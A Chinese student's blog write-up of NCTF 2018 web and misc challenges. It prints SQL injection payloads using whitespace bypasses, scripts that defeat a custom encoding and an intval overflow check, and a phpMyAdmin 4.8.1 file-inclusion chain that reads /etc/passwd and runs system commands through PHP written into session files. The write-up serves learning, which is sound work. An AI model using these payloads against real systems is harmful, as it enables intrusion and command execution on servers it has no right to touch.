NCTF 2018

前言

上周末的nctf,自己除了签到也就做出来两道题,然后参考了一些网上师傅们赶出来的writeup整理出这篇博客。

前天和师傅们去做了BCTF的题,ctf从入门到自闭啊,现在只是知道了第一题的思路,其他的还在边看边等大佬们的writeup,所以先写一下今天复盘的nctf了~

很烦的是我写这篇博客的时候平台服务器坏掉了,我做的时候还有一些没截图

github上的环境师傅们还没传完,我也懒得再搭环境截图了,我会尽量把学到的知识和思路讲解的清楚一些,大家如果想复现可以到这里找一下环境:传送门

Web

签到题

点开链接发现跳到了百度,应该是重定向,burp抓个包重放一下就拿到flag了。

滴!晨跑打卡

一道sql注入的题,是我做出来的第一道题,这道题闭合一下单引号绕一下空格就可以了,绕空格的一些常见方法如下:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

我看网上的师傅们使用%a0绕过的,我当时好像是用%0b绕过的,但是不重要啦

构造回显payload?id=1'%a0union%a0select%a01,2,3%a0and'1'='1

然后就开始常规的通过information_schema爆库爆表爆字段了

最后的payload为 ?id=1'%a0union%a0select%a01,(select%a0th1s_1s_flag%a0from%a0flaaaaaaag.f144444444g),3%a0'

Go Lakers

这题开始做的有点迷啊,还是余师傅提醒,burp重放之后响应包往下拉了好久看到了提示 <!--post me viewsource-->

重放个post变量viewsource拿到了源代码,这里要注意一下改成POST包时要加一个头部字段 Content-type:application/x-www-form-urlencoded,在burp中看响应包会有很多html实体编码和php的代码高亮,这咋看得懂。跟学长学习了放在proxy里面forward一下就显示在浏览器里了,hhh又暴露了自己的菜啊

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
error_reporting(0);
include 'getip.php';
ini_set('open_basedir','.');
if(isset($_POST['viewsource'])){
highlight_file(__FILE__);
die();
}

mt_srand(mktime()+$seed);

function de_code($value){
$value = base64_decode($value);
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])-$i*2);
}
return $result;
}

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}
else{ echo 'great';
}
echo file_get_contents(de_code($_GET['file_']));
?>
<!DOCTYPE html>
<html>
<head><title>嘻嘻嘻</title></head>
<body>
<h3>题目在哪呢</h3>
</body>
</html>

这道题我开始的思路是要先满足if的条件,然后才能考虑file_get_contents()函数,不然就被重定向走了,还是问了一下余师傅才知道,这里在burp中follow只是加了个header头,但还是会执行下面的file_get_contents()语句。那就可以直接根据上面的de_code()函数写个编码的脚本就ok辣,要猜到flag藏在flag.php文件中哦。

1
2
3
4
5
6
7
8
9
10
<?php 
function en_code($value){
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])+$i*2);
}
$result = base64_encode($result); return $result;
}
echo en_code('flag.php');
?>

得到Zm5lbTZ6dH4=,用get传一下拿到flag

全球最大交友网站

这道题,是 .git 泄露,其实当时想到了,但是中途死于对git的操作一知半解吧

从p神的一篇文章中学习一下git获取源码的利用和原理:XDCTF2015代码审计全解

我当时进行了第一步操作,利用lijiejie的GitHack:https://github.com/lijiejie/GitHack 脚本获取到了一个readme.md文件,内容为Allsource files areingit tag1.0 ,考虑flag会在tag1.0版本中,应该要回滚版本。

在看师傅们writeup的时候发现一个可以将各个版本的源码提取出来的神器:Git_Extract

还有师傅用了 scrabble 脚本

git log查看历史版本,git show HEAD 版本号 回滚版本,flag在readme.txt中

这时候我突然想起来之前做cgctf用过的 dvcs-ripper 应该也可以吧,但是服务器已经关了没办法尝试了,以后再遇到类似的题再多尝试一下吧

小绿草之最强大脑

查看源代码得到hint

当时做题时一脸懵逼,源码泄露在哪里。

之后看wp文中师傅说到 “第一反应就是CTF中常有的BAK文件“

访问index.php.bak下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>

关键信息:

  • input 的变量经过了 php 的intval处理
  • 计算时间要在 1-2 秒之间
  • 算对的次数会累加

使用了intval函数来防止整数溢出的危害,所以我们输入的大于二十一位的数字经过该函数处理后发生了变化。要注意的是intval()函数在32位机器和64机器上的运行结果也是不一样的。

1
2
<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

改了一下网上的脚本跑出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re
import time

s = requests.Session() # 保持当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000" #输入的数字
r = s.get(url)
math = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
pattern =re.compile(r'<div style="display:inline;">(.*?)</div>') #构建正则
num = pattern.findall(r.text) #正则提取公式
result = "9223372036854775807"+'+'+math.join(num)[0:-1] #拼接真实的公式,切片是为了舍去等号
ans = eval(result) #利用eval直接来计算结果

data = {
'input':'4200000000000000000000',
'ans':ans
}
r = s.post(url,headers=headers,data=data)
time.sleep(1.5) #延时1.5秒
print(r.text)

基本操作

给了一个phpMyAdmin的网址,这题学到了phpMyAdmin本地文件包含漏洞

2018-06-21 ChaMd5安全团队公开了一个phpMyAdmin 4.8.1后台getshell,该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用。

查看页面源代码发现Mysql版本是4.8.1,登录的账号密码是网上的弱口令组合guest+guest

这种文件包含漏洞可以读取任意文件,首先要知道在URL编码中%3f是用于分割实际URL和参数的 ,先判断一下根目录的位置为../../../../,但实际操作时发现,就算多加了几个../也没有关系,因为到根目录就没法继续往上了。

构建url: http://ctfgame.acdxvfsvd.net:20006/index.php?target=db_sql.php%253f/../../../../etc/passwd出现如下图回显验证该漏洞存在

我们知道phpMyAdmin默认自带phpinfo文件,访问

访问 http://ctfgame.acdxvfsvd.net:20006/index.php?target=db_sql.php%253f/../info.php

有一栏叫做”session_save_path”,这一项是专门用来保存session的路径的。而我们这道题就是通过本地文件包含session来读取sql执行语句中插入php代码,让本地文件包含的时候执行php语句。

session文件名默认为session_你的sessionid,sessionid就是你在浏览器中cookie的phpmyadmin的值,这里session日志的保存路径是/tmp/sess_你的sessionid

在phpMyAdmin中执行sql语句 select '<?php system("ls");?>;'

再访问http://ctfgame.acdxvfsvd.net:20006/index.php?target=db_sql.php%253f/../../../../temp/xxxxxx可以执行系统命令并得到回显

通过一系列的ls查找到可疑文件nctfffffffff

最后的payloadselect '<?php system("cd /&&cat nctfffffffff");?>;'

对phpMyAdmin 4.8.x本地文件包含利用的漏洞,我参考了VulnSpy的在线环境

Misc

CalcNow

这道题学习了python的pwn库的使用,参考这篇 Exploit利器——Pwntools

要注意的是这个库对windows支持蛮不友好的,我直接在kali里用了

nc连接之后会显示一个要计算的表达式,要求两秒内算出,这题nc连接后回显的内容忘截图了,直接看脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/user/bin/enc python
from pwn import *
result=0
a = remote("ctfgame.acdxvfsvd.net",30003)
a.recvuntil("Your Token:\n")
a.sendline("hqd5NgJ5tr0ObfJliY0vsiZHahw3epkr")
a.recvuntil("Before becoming a PWNer, you should know how to write script\n")
a.recvuntil("Tools: python module -> pwntools(sudo pip install pwn)/SOCKET/zio...\n")
calc_str = a.recv(1024)
number1 = calc_str[:25]
iterator = calc_str[26:29]
number2 = calc_str[30:].replace(" ","")
print number1+iterator+number2
if(iterator=='add'):
result = int(number1) + int(number2)
if(iterator=='sub'):
result = int(number1) - int(number2)
print result
a.sendline(str(result))
s = a.recvrepeat()
print s

后记

现在是零点了,还想看看python,太菜了就少睡点觉吧!

打完这次比赛发现自己好多题还是没有思路,还有写脚本的能力太弱了,正则也有很多细节没学好,接下来准备从核心编程和python黑帽子入手深入学一下python。

通过ctf发现自己很多常见漏洞之前都是一知半解的没有很深入的理解利用,接下来要静下心来多看看书。

要考四级了,也要期末了

希望自己能沉稳一点,每天都能比昨天的自己进步一点点